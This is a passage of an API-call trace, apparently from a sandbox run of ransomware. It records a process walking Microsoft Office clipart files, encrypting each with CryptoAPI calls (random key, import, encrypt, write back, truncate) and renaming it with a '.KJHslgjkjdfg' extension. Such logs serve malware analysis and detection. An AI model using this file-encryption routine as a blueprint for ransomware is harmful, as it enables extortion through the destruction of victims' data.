nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.915] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.915] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.915] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb2c, lpOverlapped=0x0) returned 1 [0205.916] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb30, dwBufLen=0xb30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb30) returned 1 [0205.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.916] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb30, lpOverlapped=0x0) returned 1 [0205.916] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.916] SetEndOfFile (hFile=0x130) returned 1 [0205.918] GetProcessHeap () returned 0x990000 [0205.918] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.918] GetProcessHeap () returned 0x990000 [0205.918] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.kjhslgjkjdfg")) returned 1 [0205.920] CloseHandle (hObject=0x130) returned 1 [0205.920] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0205.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.921] GetProcessHeap () returned 0x990000 [0205.921] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.921] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.921] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.922] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.922] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.922] GetProcessHeap () returned 0x990000 [0205.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.922] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.922] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.922] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.923] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.923] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.923] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe64, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe64, lpOverlapped=0x0) returned 1 [0205.923] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70, dwBufLen=0xe70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70) returned 1 [0205.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe70, lpOverlapped=0x0) returned 1 [0205.923] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.923] SetEndOfFile (hFile=0x130) returned 1 [0205.925] GetProcessHeap () returned 0x990000 [0205.925] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.925] GetProcessHeap () returned 0x990000 [0205.925] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.kjhslgjkjdfg")) returned 1 [0205.927] CloseHandle (hObject=0x130) returned 1 [0205.927] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02398_.WMF", cAlternateFileName="")) returned 1 [0205.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.928] GetProcessHeap () returned 0x990000 [0205.928] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.928] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.928] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.127] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.127] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.127] GetProcessHeap () returned 0x990000 [0206.127] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.127] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.127] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.127] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.127] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.127] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.128] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.128] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.128] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.128] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.128] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e98, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e98, lpOverlapped=0x0) returned 1 [0206.129] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ea0) returned 1 [0206.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.129] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ea0, lpOverlapped=0x0) returned 1 [0206.129] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.129] SetEndOfFile (hFile=0x130) returned 1 [0206.131] GetProcessHeap () returned 0x990000 [0206.131] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.131] GetProcessHeap () returned 0x990000 [0206.131] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.kjhslgjkjdfg")) returned 1 [0206.133] CloseHandle (hObject=0x130) returned 1 [0206.133] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0206.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.135] GetProcessHeap () returned 0x990000 [0206.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.135] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.135] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.137] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.137] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.138] GetProcessHeap () returned 0x990000 [0206.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.138] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.138] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.138] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.138] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.138] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.138] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.139] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd24, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd24, lpOverlapped=0x0) returned 1 [0206.139] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd30, dwBufLen=0xd30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd30) returned 1 [0206.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.139] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd30, lpOverlapped=0x0) returned 1 [0206.139] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.139] SetEndOfFile (hFile=0x130) returned 1 [0206.142] GetProcessHeap () returned 0x990000 [0206.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.142] GetProcessHeap () returned 0x990000 [0206.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.kjhslgjkjdfg")) returned 1 [0206.144] CloseHandle (hObject=0x130) returned 1 [0206.144] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0206.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.146] GetProcessHeap () returned 0x990000 [0206.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.146] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.146] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.146] GetProcessHeap () returned 0x990000 [0206.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.146] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.146] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.146] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.148] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.149] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.149] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.149] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.149] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.149] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2120, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2120, lpOverlapped=0x0) returned 1 [0206.150] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2120, dwBufLen=0x2120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2120) returned 1 [0206.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.150] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, 